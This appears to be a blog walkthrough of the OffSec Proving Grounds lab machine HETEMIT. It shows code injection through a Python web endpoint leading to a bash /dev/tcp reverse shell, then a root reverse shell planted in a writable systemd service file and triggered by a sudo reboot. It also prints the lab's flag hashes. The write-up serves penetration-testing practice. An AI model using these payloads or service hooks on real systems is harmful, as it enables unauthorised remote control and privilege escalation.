Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - HETEMIT

·2153 words·11 mins·
OFFSEC PG PRACTICE WERKZEUG SERVICE WRITABLE
Table of Contents

Summary
#

On port 50000 there is an Werkzeug/1.0.1 Python/3.6.8 application. There is an endpoint vulnerable for remote code execution and allows us to get initial access as the cmeeks user. Once on the target we can write and edit the /etc/systemd/system/pythonapp.service file, use sudo to reboot the target and get access as the root user.

Specifications
#

  • Name: HETEMIT
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • System overview: Linux hetemit 4.18.0-193.28.1.el8_2.x86_64 #1 SMP Thu Oct 22 00:20:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.142.117
  • OFFSEC provided credentials: None
  • HASH: local.txt:1a48557060ef9864d156a3af6319eee4
  • HASH: proof.txt:4841e2ec8c38071e631ed180175b4749

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir hetemit && cd hetemit && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 27 16:00 .
drwxrwxr-x 79 kali kali 4096 Sep 27 16:00 ..
drwxrwxr-x  2 kali kali 4096 Sep 27 16:00 enum
drwxrwxr-x  2 kali kali 4096 Sep 27 16:00 exploits
drwxrwxr-x  2 kali kali 4096 Sep 27 16:00 files
drwxrwxr-x  2 kali kali 4096 Sep 27 16:00 tools
drwxrwxr-x  2 kali kali 4096 Sep 27 16:00 uploads

## set bash variable
ip=192.168.142.117

## ping target to check if it's online
ping $ip

PING 192.168.142.117 (192.168.142.117) 56(84) bytes of data.
64 bytes from 192.168.142.117: icmp_seq=1 ttl=61 time=22.8 ms
64 bytes from 192.168.142.117: icmp_seq=2 ttl=61 time=22.6 ms
^C
--- 192.168.142.117 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 22.629/22.698/22.767/0.069 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
TCP handshake? More like a friendly high-five!

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.142.117:21
Open 192.168.142.117:22
Open 192.168.142.117:80
Open 192.168.142.117:139
Open 192.168.142.117:445
Open 192.168.142.117:18000
Open 192.168.142.117:50000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-27 16:04 CEST
Initiating Ping Scan at 16:04
Scanning 192.168.142.117 [4 ports]
Completed Ping Scan at 16:04, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:04
Completed Parallel DNS resolution of 1 host. at 16:04, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:04
Scanning 192.168.142.117 [7 ports]
Discovered open port 445/tcp on 192.168.142.117
Discovered open port 139/tcp on 192.168.142.117
Discovered open port 22/tcp on 192.168.142.117
Discovered open port 80/tcp on 192.168.142.117
Discovered open port 21/tcp on 192.168.142.117
Discovered open port 50000/tcp on 192.168.142.117
Discovered open port 18000/tcp on 192.168.142.117
Completed SYN Stealth Scan at 16:04, 0.06s elapsed (7 total ports)
Nmap scan report for 192.168.142.117
Host is up, received echo-reply ttl 61 (0.023s latency).
Scanned at 2025-09-27 16:04:22 CEST for 0s

PORT      STATE SERVICE      REASON
21/tcp    open  ftp          syn-ack ttl 61
22/tcp    open  ssh          syn-ack ttl 61
80/tcp    open  http         syn-ack ttl 61
139/tcp   open  netbios-ssn  syn-ack ttl 61
445/tcp   open  microsoft-ds syn-ack ttl 61
18000/tcp open  biimenu      syn-ack ttl 61
50000/tcp open  ibm-db2      syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
           Raw packets sent: 11 (460B) | Rcvd: 8 (336B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
21/tcp    open  ftp          syn-ack ttl 61
22/tcp    open  ssh          syn-ack ttl 61
80/tcp    open  http         syn-ack ttl 61
139/tcp   open  netbios-ssn  syn-ack ttl 61
445/tcp   open  microsoft-ds syn-ack ttl 61
18000/tcp open  biimenu      syn-ack ttl 61
50000/tcp open  ibm-db2      syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
21,22,80,139,445,18000,50000 

## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,80,139,445,18000,50000 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT      STATE SERVICE     REASON         VERSION
21/tcp    open  ftp         syn-ack ttl 61 vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.160
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp    open  ssh         syn-ack ttl 61 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 b1:e2:9d:f1:f8:10:db:a5:aa:5a:22:94:e8:92:61:65 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH2Cap49zuKy70lHzXsOn9iOap0h1Dnwk14D6PNKugueOqGpYoffwCGCA0wF4cI3+MRjuHz4xGznmtTIP3vOBZINZvT5PsNcvu6ef0SDfDOMFbzsEirhpQuoBYvgmEuJ4u1VMiwNaYQ0jw9t+nsR2MAIym/wdKt+ghYm4qlB3WvLMV41uCu0F7OQadRX8GWrLWLucjSQ1f80tkV7mc7ZfuTm8YdsAOkNQufHkVE+Alk0NpHdqLh/6FHxmEqYwP0jX6HS/lg+MfczIbIQ91v7+ljvo3qgdSZPqqulUtQuj/Rb/gmIfItzFZIxTzLQ6FuKKmoTMXaR/tXf93+91z+kBdDaZe/5eu6fLCdGuFyioB97LdZGJq8uFbM0BpNeBYc0i/DOFwxWBhO8/zzv1uaTUKuS1B+bny1iUTiQoJj6GVRQmvgk/2Km5SanF3Cp4PSSJMQ112Umjg1T61ah/i//KXAyZ25xOznolBw/aoCc9cremrkycUp7dmuATBNCgHFS0=
|   256 74:dd:fa:f2:51:dd:74:38:2b:b2:ec:82:e5:91:82:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPTMpDGmoKZ96W+Ivvw7sQmnD1U41OY34oAzJ5Z1/AP/iVj+TpKO6lCKPxDq+9nbJJU4dtQx8X+KjQqUtpYIUhw=
|   256 48:bc:9d:eb:bd:4d:ac:b3:0b:5d:67:da:56:54:2b:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEUnTSrfkvL2AJJsozjPtXIWf/6Z7UB9WptTiOOX93m4
80/tcp    open  http        syn-ack ttl 61 Apache httpd 2.4.37 ((centos))
|_http-title: CentOS \xE6\x8F\x90\xE4\xBE\x9B\xE7\x9A\x84 Apache HTTP \xE6\x9C\x8D\xE5\x8A\xA1\xE5\x99\xA8\xE6\xB5\x8B\xE8\xAF\x95\xE9\xA1\xB5
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos)
139/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 4
445/tcp   open  netbios-ssn syn-ack ttl 61 Samba smbd 4
18000/tcp open  biimenu?    syn-ack ttl 61
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 3102
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8" />
|     <title>Action Controller: Exception caught</title>
|     <style>
|     body {
|     background-color: #FAFAFA;
|     color: #333;
|     margin: 0px;
|     body, p, ol, ul, td {
|     font-family: helvetica, verdana, arial, sans-serif;
|     font-size: 13px;
|     line-height: 18px;
|     font-size: 11px;
|     white-space: pre-wrap;
|     pre.box {
|     border: 1px solid #EEE;
|     padding: 10px;
|     margin: 0px;
|     width: 958px;
|     header {
|     color: #F0F0F0;
|     background: #C52F24;
|     padding: 0.5em 1.5em;
|     margin: 0.2em 0;
|     line-height: 1.1em;
|     font-size: 2em;
|     color: #C52F24;
|     line-height: 25px;
|     .details {
|_    bord
50000/tcp open  http        syn-ack ttl 61 Werkzeug httpd 1.0.1 (Python 3.6.8)
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/1.0.1 Python/3.6.8
<SNIP>
Service Info: OS: Unix

Host script results:
| smb2-time: 
|   date: 2025-09-27T14:47:48
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 44077/tcp): CLEAN (Timeout)
|   Check 2 (port 43773/tcp): CLEAN (Timeout)
|   Check 3 (port 29704/udp): CLEAN (Timeout)
|   Check 4 (port 24957/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Initial Access
#

50000/tcp open  http        syn-ack ttl 61 Werkzeug httpd 1.0.1 (Python 3.6.8)
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/1.0.1 Python/3.6.8

On port 50000 there is an Werkzeug/1.0.1 Python/3.6.8 application. Browsing to this application (http://192.168.142.117:50000) we find in the response a list of endpoint, namely: /generate and /verify.

When we browse to the verify endpoint (http://192.168.142.117:50000/verify), we get a {'code'} response.

We start BURP to get more details on the request/response. So, intercept the request to this endpoint and send it to the repeater tab. Once in the repeater tab change the intecepted request to a POST and add the code parameter with the example: 4*4. This gives a response of 16, so we have some form of code execution.

To see if we can perform any OS commands and because it’s Python, we’ll use os.system (https://docs.python.org/3/library/os.html#os.system). First, let’s ping ourselves so we can verify we have OS command execution. As data in the POST request set the URL encoded os.system command: code=os.system("os.system("ping+-c+1+192.168.45.160"). Once we click on Send we indeed get an ICMP echo in tcpdump. So we have OS command execution. Now we can change the code parameter to this URL encoded command: os.system("/bin/bash+-c+'bash+-i+>%26+/dev/tcp/192.168.45.160/80+0>%261'"), to get initial access as the cmeeks user in the /home/cmeeks/restjson_hetemit directory.

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160

## setup `tcpdump` to listen for pings on the tun0 interface
sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

## catch the ICMP echo
sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:04:59.703696 IP 192.168.142.117 > 192.168.45.160: ICMP echo request, id 2356, seq 1, length 64
17:04:59.703718 IP 192.168.45.160 > 192.168.142.117: ICMP echo reply, id 2356, seq 1, length 64

## setup a listener on an already open port
nc -lvnp 80  
listening on [any] 80 ...

## catch the reverse shell
nc -lvnp 80  
listening on [any] 80 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.142.117] 44494
bash: cannot set terminal process group (1395): Inappropriate ioctl for device
bash: no job control in this shell
[cmeeks@hetemit restjson_hetemit]$ 

## print the current working directory
[cmeeks@hetemit restjson_hetemit]$ pwd
/home/cmeeks/restjson_hetemit

## find `local.txt` on the filesystem
[cmeeks@hetemit restjson_hetemit]$ find / -iname 'local.txt' 2>/dev/null
/home/cmeeks/local.txt

## print `local.txt`
[cmeeks@hetemit restjson_hetemit]$ cat /home/cmeeks/local.txt
1a48557060ef9864d156a3af6319eee4

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target
## change directory
[cmeeks@hetemit restjson_hetemit]$ cd /var/tmp
[cmeeks@hetemit tmp]$ 

## download `linpeas.sh` using the open port 8080
[cmeeks@hetemit tmp]$ wget http://192.168.45.160/linpeas.sh
--2025-09-27 15:18:15--  http://192.168.45.160/linpeas.sh
Connecting to 192.168.45.160:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                                          0%[                                                                                 linpeas.sh                                        100%[=============================================================================================================>] 939.29K  4.64MB/s    in 0.2s    

2025-09-27 15:18:15 (4.64 MB/s) - ‘linpeas.sh’ saved [961834/961834]

## set the execution bit
[cmeeks@hetemit tmp]$ chmod +x linpeas.sh 

## run `linpeas.sh`
[cmeeks@hetemit tmp]$ ./linpeas.sh 

The linpeas.sh output shows we have write permissions over /etc/systemd/system/pythonapp.service. Checking our sudo privileges we see we are also able to run /sbin/reboot to reboot the target and, also all services. So, we can edit the /etc/systemd/system/pythonapp.service to escalate our privileges to the root user after a reboot.

## verify we have write permissions
cmeeks@hetemit tmp]$ ls -la /etc/systemd/system/pythonapp.service
-rw-rw-r-- 1 root cmeeks 302 Nov 13  2020 /etc/systemd/system/pythonapp.service

## list sudo privileges
[cmeeks@hetemit tmp]$ sudo -l
Matching Defaults entries for cmeeks on hetemit:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
    LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE
    LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User cmeeks may run the following commands on hetemit:
    (root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.160

## edit the `/etc/systemd/system/pythonapp.service` file to this content:
[cmeeks@hetemit tmp]$ cat /etc/systemd/system/pythonapp.service
[Unit]
Description=Python App
After=network-online.target

[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.160/80 0>&1'
TimeoutSec=30
RestartSec=15s
User=root
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure

[Install]
WantedBy=multi-user.target

## setup a listener
nc -lvnp 80
listening on [any] 80 ...

## reboot the target using sudo
[cmeeks@hetemit tmp]$ sudo /sbin/reboot

## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.142.117] 38622
bash: cannot set terminal process group (1123): Inappropriate ioctl for device
bash: no job control in this shell
[root@hetemit restjson_hetemit]#

## print `proof.txt`
[root@hetemit restjson_hetemit]# cat /root/proof.txt
4841e2ec8c38071e631ed180175b4749

References
#

[+] https://docs.python.org/3/library/os.html#os.system
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Related

OFFSEC - Proving Grounds - ERP
·2408 words·12 mins
OFFSEC PG PRACTICE WEBERP INOERP SSH REMOTE PORT FORWARD MONITORR
webERP on port 80 with weak credentials. SQL injection (CVE-2019-13292) reveals inoERP application, exploited for www-data access. SSH forwarding to port 8443 uncovers monitorr 1.7.6 which we can exploit for root.
OFFSEC - Proving Grounds - FLIMSY
·1545 words·8 mins
OFFSEC PG PRACTICE APISIX APT UPDATE APT.CONF.D
OpenResty on port 43500 with APISIX/2.8 has RCE vulnerability (CVE-2022-24112). Exploit this and get initial access, write custom script in /etc/apt/apt.conf.d to escalate to root via cronjob.
OFFSEC - Proving Grounds - BANZAI
·2971 words·14 mins
OFFSEC PG PRACTICE HYDRA GOBUSTER MYSQL MYSQL UDF GCC
FTP on port 21 with weak credentials holds web dirirectory for port 8295. Upload PHP shell to gain initial access. MySQL UDF exploit sets SUID on bash and allows us to escalates to root.
OFFSEC - Proving Grounds - WHEELS
·1818 words·9 mins
OFFSEC PG PRACTICE XPATH HASHCAT
Wheels CarService website on port 80 has XPATH injection vulnerability which leads to gaining credentials for initial access. SUID on a binary with path traversal vulnerability to dump /etc/shadow. Crack hash with hashcat to gain root.
OFFSEC - Proving Grounds - BUNYIP
·3095 words·15 mins
OFFSEC PG PRACTICE PWNKIT
S3cur3 r3pl application on port 8000 is vulnerable to MD5 length extension, exploiting this gives initial access. Pwnkit (CVE-2021-4034) escalates to root.
OFFSEC - Proving Grounds - SPAGHETTI
·2624 words·13 mins
OFFSEC PG PRACTICE IRC PYBOT PWNKIT
IRC server on port 6667, message to bot gives access to source code. Analyzing code gives code exeecution and initial access. Pwnkit exploit used to escalate to root.